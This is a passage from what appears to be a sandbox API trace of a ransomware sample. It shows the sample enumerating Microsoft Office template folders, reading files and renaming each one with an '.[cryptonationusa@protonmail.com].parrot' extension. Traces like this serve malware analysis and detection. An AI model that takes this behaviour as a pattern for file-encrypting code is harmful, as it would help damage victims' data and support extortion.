lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37b50, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x37b50, lpOverlapped=0x0) returned 1 [0242.474] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\planners.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\PLANNERS.ONE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\planners.one.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.489] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0242.490] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1c8b4ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1c8b4ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.490] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c595200, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x3de28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACADEM~1.PAR")) returned 1 [0242.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0242.490] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.490] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1c464700, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1c464700, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1 [0242.490] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1c8b4ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1c8b4ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0242.490] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1c8b4ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1c8b4ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0242.491] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0242.491] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc75c370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.491] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0242.491] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0242.491] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.491] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0242.493] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.493] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2db52, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2db52, lpOverlapped=0x0) returned 1 [0242.533] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.541] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.548] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.548] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0242.554] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.554] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b29e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b29e, lpOverlapped=0x0) returned 1 [0242.563] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergefax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.574] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.575] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0242.594] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.594] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b308, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b308, lpOverlapped=0x0) returned 1 [0242.599] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielMergeLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielmergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.613] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.613] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0242.614] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.614] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x82b54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x82b54, lpOverlapped=0x0) returned 1 [0242.662] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.746] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielReport.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0242.756] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0242.756] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.221] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.222] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ab41, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ab41, lpOverlapped=0x0) returned 1 [0243.280] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OrielResume.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\orielresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.346] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.346] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.348] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.348] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f56a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f56a, lpOverlapped=0x0) returned 1 [0243.355] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.369] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.369] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.370] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.370] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x172e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x172e0, lpOverlapped=0x0) returned 1 [0243.375] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeFax.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergefax.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.388] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.389] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.390] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.390] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f314, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f314, lpOverlapped=0x0) returned 1 [0243.395] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.398] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.407] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.407] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.409] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.409] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b011, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b011, lpOverlapped=0x0) returned 1 [0243.424] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.451] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.451] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.452] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.453] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23247, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x23247, lpOverlapped=0x0) returned 1 [0243.462] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginResume.Dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originresume.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.474] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.476] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.476] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x75b3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x75b3, lpOverlapped=0x0) returned 1 [0243.478] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\PersonalMonthlyBudget.xltx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\personalmonthlybudget.xltx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.486] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.486] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.487] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.487] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e590, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e590, lpOverlapped=0x0) returned 1 [0243.499] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.508] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.508] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.543] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.543] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fd6a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9fd6a, lpOverlapped=0x0) returned 1 [0243.573] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ProjectStatusReport.potx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\projectstatusreport.potx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0243.628] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0243.628] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0243.629] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.629] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b42, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b42, lpOverlapped=0x0) returned 1 [0243.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 